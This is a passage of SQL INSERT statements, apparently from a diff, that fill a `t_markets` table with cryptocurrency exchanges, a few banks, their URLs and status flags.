'https://www.bitcointrade.com.br/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (197, 'okex-future', 'OKX Futures', 'https://www.okex.com', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (198, 'bitebtc', 'BiteBTC', 'https://fedlio.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (199, 'okgaex', 'Okgaex', 'https://www.okgaex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (200, 'bitex-la', 'Bitex.la', 'https://bitex.la', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (201, 'omicrex', 'Omicrex', 'https://omicrex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (202, 'onechain-one', 'OneChain', 'https://onechain.one', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (203, 'oneroot', 'Oneroot', 'https://oneroot.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (204, 'ooobtc', 'ooobtc', 'https://www.ooobtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (205, 'openledger', 'OpenLedger DEX', 'https://openledger.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (206, 'bitgogo', 'Bitgogo', 'https://www.bitgogo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (207, 'ore-bz', 'Ore.Bz', 'https://ore.bz/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (208, 'bithesap', 'Bithesap', 'https://www.bithesap.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (209, 'otcbtc', 'OTCBTC', 'https://otcbtc.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (210, 'ovis', 'Ovis', 'https://www.ovis.com.tr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (211, 'bithumb-dex', 'Bithumb DEX', 'https://www.bithumb.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (212, 'paradex', 'Paradex', 'https://paradex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (213, 'bitibu', 'Bitibu', 'https://bitibu.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (214, 'park-one', 'Park One', 'https://www.park.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (215, 'bition-pro', 'BitionPro', 'https://www.bition.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (216, 'bitk-me', 'Bit-K', 'https://bitk.me/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (217, 'pk-top', 'PK', 'https://www.pk.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (218, 'bitker', 'Bitker', 'https://www.bitker.com/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (219, 'bitkonan', 'BitKonan', 'https://bitkonan.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (220, 'qbtc', 'QBTC', 'https://www.myqbtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (221, 'bitkop', 'Bitkop', 'https://www.bitkop.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (222, 'quadrigacx', 'QuadrigaCX', 'https://www.quadrigacx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (223, 'qubi', 'Qubi', 'https://www.qubi.top/#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (224, 'bitlish', 'Bitlish', 'https://bitlish.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (225, 'quoine', 'Liquid', 'https://www.liquid.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (226, 'bitmarket', 'BitMarket', 'https://www.bitmarket.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (227, 'radar-relay', 'Radar Relay', 'https://radarrelay.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (228, 'bitmart', 'BitMart', 'https://www.bitmart.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (229, 'rfinex', 'Rfinex', 'https://rfinex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (230, 'bitmax-io', 'AscendEX(Bitmax)', 'https://ascendex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (231, 'rightbtc', 'RightBTC', 'https://www.rightbtc.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (232, 'bitmesh', 'Bitmesh', 'https://bitmesh.com/#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (233, 'ripple-china', 'Ripple China', 'http://wg.iripplechina.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (234, 'ripplefox', 'RippleFox', 'https://ripplefox.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (235, 'bitnoah', 'Bitnoah', 'https://www.bitnoah.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (236, 'rootrex', 'Rootrex', 'https://www.rootrex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (237, 'bitonic', 'Bitonic', 'https://bitonic.nl', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (238, 'rudex', 'RuDEX', 'https://rudex.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (239, 'bitopro', 'Bitopro', 'https://www.bitopro.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (240, 'bitpaction', 'Bitpaction', 'https://www.bitpaction.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (241, 'simex', 'Simex', 'https://simex.global', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (242, 'bitrabbit', 'Bitrabbit', 'https://bitrabbit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (243, 'sistemkoin', 'Sistemkoin', 'https://sistemkoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (244, 'bits-blockchain', 'Bits Blockchain', 'https://bitsblockchain.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (245, 'bitsane', 'Bitsane', 'https://bitsane.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (246, 'stellarport', 'Stellarport', 'https://stellarport.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (247, 'bitshares-asset-exchange', 'BitShares Asset Exchange', 'https://openledger.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (248, 'stex', 'STEX', 'https://www.stex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (249, 'stocks-exchange', 'Stocks.Exchange', 'https://stocks.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (250, 'bitstamp-ripple-gateway', 'Bitstamp (Ripple Gateway)', 'https://www.bitstamp.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (251, 'surbtc', 'SurBTC', 'https://www.surbtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (252, 'bittrex', 'Bittrex', 'https://bittrex.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (253, 'switcheo', 'Switcheo Exchange', 'https://switcheo.network/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (254, 'bittylicious', 'Bittylicious', 'https://bittylicious.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (255, 'syex-io', 'SHANGYA', 'https://www.syex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (256, 'bjex', 'Bjex', 'https://www.bjex.cc', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (257, 'bjs-bi', 'BJS', 'https://www.bjs.bi/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (258, 'therocktrading', 'The Rock Trading', 'https://therocktrading.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (259, 'thinkbit', 'Thinkbit', 'https://www.thinkbit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (260, 'bleutrade', 'Bleutrade', 'https://bleutrade.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (261, 'bloex', 'Bloex', 'https://www.bloex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (262, 'token-store', 'Token Store', 'https://token.store/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (263, 'borderless-vip', 'Borderless', 'http://www.borderless.vip/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (264, 'tokenomy', 'Tokenomy', 'https://tokenomy.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (265, 'braziliex', 'Braziliex', 'https://braziliex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (266, 'tokok', 'Tokok', 'https://www.tokok.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (267, 'btc-alpha', 'BTC-Alpha', 'https://btc-alpha.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (268, 'top-one', 'TopOne', 'https://top1.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (269, 'topbtc', 'TOPBTC', 'https://topbtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (270, 'trade-by-trade', 'Trade By Trade', 'https://tradebytrade.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (271, 'btcbank-id', 'BTCBank', 'https://www.btcbank.id/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (272, 'trade-io', 'Trade.io', 'https://exchange.trade.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (273, 'trade-satoshi', 'Trade Satoshi', 'https://tradesatoshi.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (274, 'btcc', 'BTCC', 'https://www.btcc.com/home', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (275, 'btcdo', 'Btcdo', 'https://www.btcdo.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (276, 'triple-dice-exchange', 'Tripe Dice Exchange', 'https://mydicewallet.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (277, 'btctrade-im', 'BtcTrade', 'https://www.btctrade.im/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (278, 'trx-market', 'TRXMarket', 'https://trx.market/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (279, 'btcturk', 'BTCTurk', 'https://www.btcturk.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (280, 'tux-exchange', 'Tux Exchange', 'https://tuxexchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (281, 'btex', 'Btex', 'https://www.btex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (282, 'uex', 'UEX', 'https://www.uex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (283, 'ufo-club', 'UfoClub', 'https://www.ufo.club/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (284, 'burst-asset-exchange', 'Burst Asset Exchange', 'http://asset.burstnation.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (285, 'ukex', 'UKEX', 'https://ukex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (286, 'buybitcoin', 'BuyBitcoin', 'https://buybitcoin.org.in', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (287, 'uncoinex', 'U-COIN', 'https://www.ucoin.pw', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (288, 'buyucoin', 'BuyUcoin', 'https://www.buyucoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (289, 'unocoin', 'Unocoin', 'https://www.unocoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (290, 'bw', 'BW', 'https://www.bw.io', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (291, 'bx-thailand', 'BX.in.th', 'https://bitcoin.co.th/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (292, 'utxo', 'Utxo', 'https://www.utxo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (293, 'bytex', 'Bytex', 'https://www.bytex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (294, 'vebitcoin', 'Vebitcoin', 'https://www.vebitcoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (295, 'c-cex', 'C-CEX', 'https://c-cex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (296, 'vvvex', 'VVVEX', 'https://www.vvvex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (297, 'c-patex', 'C-Patex', 'https://c-patex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (298, 'waves-dex', 'Waves Decentralized Exchange', 'https://wavesplatform.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (299, 'c2cx', 'C2CX', 'https://www.c2cx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (300, 'cashierest', 'Cashierest', 'https://www.cashierest.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (301, 'wellsfargo', 'Wells Fargo', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (302, 'ccb', 'China Construction Bank', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (303, 'wex', 'WEX', 'https://wex.nz/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (304, 'cex-com', 'CEX', 'https://cex.plus', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (305, 'wkj-link', 'WanKeJia', 'https://www.wkj.link/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (306, 'worldcore', 'Worldcore', 'https://worldcore.trade/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (307, 'chaince', 'Chaince', 'https://chaince.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (308, 'xinbi', 'XinBi Global', 'https://www.xinbipro.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (309, 'chaoex', 'ChaoEX', 'https://www.chaoex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (310, 'xbrick-io', 'Xbrick', 'https://xbrick.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (311, 'cm-xyz', 'Coinmarket', 'https://cm.xyz/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (312, 'xbtc-cx', 'XBTC', 'https://www.xbtc.cx/#/dashboard', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (313, 'cobinhood', 'COBINHOOD', 'https://cobinhood.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (314, 'xbtce', 'xBTCe', 'https://www.xbtce.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (315, 'coffeeokex', 'Coffeeokex', 'https://www.coffeeokex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (316, 'xt', 'XT', 'https://www.xt.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (317, 'coin2coin', 'Coin2Coin', 'https://coin2co.in/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (318, 'xunq-net', 'Xunq', 'https://www.xunq.net/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (319, 'coin918', 'Coin918', 'http://www.coin918.uk/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (320, 'yibit', 'YIBIT', 'https://yibit.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (321, 'coinall', 'Coinall', 'https://www.coinall.live/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (322, 'coinbe', 'Coinbe', 'https://coinbe.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (323, 'yoe-im', 'Yoexs', 'https://yoe.im', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (324, 'coinbene', 'Coinbene', 'https://www.coinbene.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (325, 'coinbig', 'Coinbig', 'https://www.coinbig.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (326, 'coinbit', 'Coinbit', 'https://www.coinbit.co.kr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (327, 'zb', 'ZB', 'https://www.zb.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (328, 'zbg', 'ZBG', 'https://www.zbg.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (329, 'coincorner', 'CoinCorner', 'https://www.coincorner.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (330, 'coindeal', 'Coindeal', 'https://coindeal.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (331, 'zeniex', 'Zeniex', 'https://www.zeniex.com/index.html', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (332, 'coineal', 'Coineal', 'https://hk.coineal.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (333, 'zg-com', 'ZG.com', 'https://www.zg.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (334, 'coinegg', 'CoinEgg', 'https://www.coinegg.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (335, 'zg-top', 'ZG.TOP', 'https://www.zg.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (336, 'coinexchange', 'CoinExchange', 'https://www.coinexchange.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (337, 'zzex-pro', 'ZZEX', 'https://www.zzex.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (338, 'coinfloor', 'Coinfloor', 'https://coinfloor.co.uk/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (339, 'zbm', 'ZB Mega', 'https://www.zbm.com/cn/#/n/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (340, 'jex', 'Jex', 'https://www.jex.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (341, 'coinhub', 'Coinhub', 'https://coinhub.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (342, 'coinlim', 'Coinlim', 'https://www.coinlim.com/#/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (343, 'bbx', 'BBX', 'https://bbx.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (344, 'coinmake', 'Coinmake', 'https://www.coinmake.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (345, 'coinmate', 'CoinMate', 'https://coinmate.io/home', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (346, 'bitqq', 'BitQQ', 'https://www.bitqq.vip', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (347, 'coinmex', 'CoinMex', 'https://www.coinmex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (348, 'coinnest', 'Coinnest', 'https://www.coinnest.co.kr/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (349, 'coinnew-io', 'Coinnew', 'https://www.coinnew.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (350, 'coinoah', 'Coinoah', 'https://coinoah.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (351, 'jex-futures', 'Binance Jex Futures', 'https://www.jex.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (352, 'bankofrussia', 'Bank of Russia', '', 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (353, 'coinpark', 'CoinPark', 'https://www.coinpark.cc/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (354, 'bankofromania', 'Bank of Romania', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (355, 'coinplace', 'CoinPlace', 'https://coinplace.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (356, 'bankofczech', 'Bank of Czech', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (357, 'coinpool', 'Coinpool', 'http://www.coinpool.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (358, 'bankofturkey', 'Bank of Turkey', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (359, 'coinrail', 'Coinrail', 'https://coinrail.co.kr', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (360, 'bakkt', 'Bakkt', 'https://www.bakkt.com/index', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (361, 'coinrate', 'Coinrate', 'https://coinrate.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (362, 'chainx', 'ChainX', 'https://chainx.kr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (363, 'coinroom', 'Coinroom', 'https://coinroom.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (364, 'coinsbank', 'Coinsbank', 'https://coinsbank.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (365, 'coinsquare', 'Coinsquare', 'https://coinsquare.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (366, 'coinsuper', 'Coinsuper', 'https://www.coinsuper.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (367, 'ccxcanada', 'CCXCanada', 'https://ccxcanada.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (368, 'cointiger', 'CoinTiger', 'https://www.cointiger.top', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (369, 'biss', 'Biss', 'https://www.biss.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (370, 'coinuper', 'Coinuper', 'http://www.coinuper.com/#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (371, 'bitsdaq', 'Bitsdaq', 'https://bitsdaq.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (372, 'coinut', 'Coinut', 'https://coinut.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (373, 'kumex', 'KuMEX', 'https://www.kumex.top/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (374, 'coinw', 'Coinw', 'https://www.coinw.fm/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (375, 'coinyee', 'Coinyee', 'https://www.coinyee.pro', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (376, 'coinzest', 'CoinZest', 'https://www.coinzest.co.kr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (377, 'huobijp', 'Huobi Japan', 'https://www.huobi.co.jp/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (378, 'coolcoin', 'CoolCoin', 'https://www.coolcoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (379, 'huobiar', 'Huobi Argentina', 'https://www.huobiar.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (380, 'coss', 'COSS', 'https://www.coss.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (381, 'huobith', 'Huobi Thailand', 'https://www.huobi.co.th', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (382, 'huobiru', 'Huobi Russia', 'https://www.huobi.com.ru', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (383, 'cpdax', 'CPDAX', 'https://www.cpdax.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (384, 'huobiau', 'Huobi Australia', 'https://www.huobi.com.au', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (385, 'crex24', 'Crex24', 'https://crex24.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (386, 'huobiindo', 'Huobi Indonesia', 'https://www.huobi.com.co', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (387, 'crxzone', 'CRXzone', 'https://www.crxzone.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (388, 'ftx', 'FTX', 'https://ftx.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (389, 'cryptaldash', 'CryptalDash', 'https://www.cryptaldash.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (390, 'bfx-futures', 'BFX Futures', 'https://www.bfx.nu/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (391, 'cryptobridge', 'CryptoBridge', 'https://crypto-bridge.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (392, 'dxdcoin', 'DXD', 'https://www.dxdcoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (393, 'cryptoderivatives', 'CryptoDerivatives', 'https://cryptoderivatives.market/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (394, 'uniswap', 'Uniswap', 'https://uniswap.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (395, 'cryptohub', 'Cryptohub', 'https://cryptohub.online/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (396, 'justswap', 'Justswap', 'https://justswap.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (397, 'cryptomarket', 'CryptoMarket', 'https://www.cryptomkt.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (398, 'ftx-us', 'FTX US', 'https://ftx.us', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (399, 'cryptomate', 'Cryptomate', 'https://cryptomate.co.uk', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (400, 'cryptonex', 'Cryptonex', 'https://cryptonex.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (401, 'cryptopia', 'Cryptopia', 'https://www.cryptopia.co.nz', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (402, 'pancakeswap', 'Pancakeswap', 'https://pancakeswap.info', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (403, 'cybex', 'Cybex', 'https://cybex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (404, 'mdex-bsc', 'Mdex (BSC)', 'https://mdex.com/?lang=zh-CN#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (405, 'dc-ex', 'DC-Ex', 'https://www.dc-ex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (406, 'mdex-heco', 'Mdex (HECO)', 'https://mdex.com/?lang=zh-CN#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (407, 'ddex', 'DDEX', 'https://ddex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (408, 'dex-top', 'DEx.top', 'https://dex.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (409, 'dgtmarket', 'Dgtmarket', 'https://exchange.dgtmarket.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (410, 'raydium', 'Raydium', 'https://raydium.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (411, 'quickswap', 'Quickswap', 'https://quickswap.exchange', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (412, 'dobitrade', 'DOBI trade', 'https://www.dobiexchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (413, 'traderjoe', 'Traderjoe', 'https://www.traderjoexyz.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (414, 'dragonex', 'Dragon Exchange', 'https://www.dragonex.in', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (415, 'dodoex', 'Dodoex', 'https://dodoex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (416, 'dsx', 'DSX', 'https://dsx.uk', 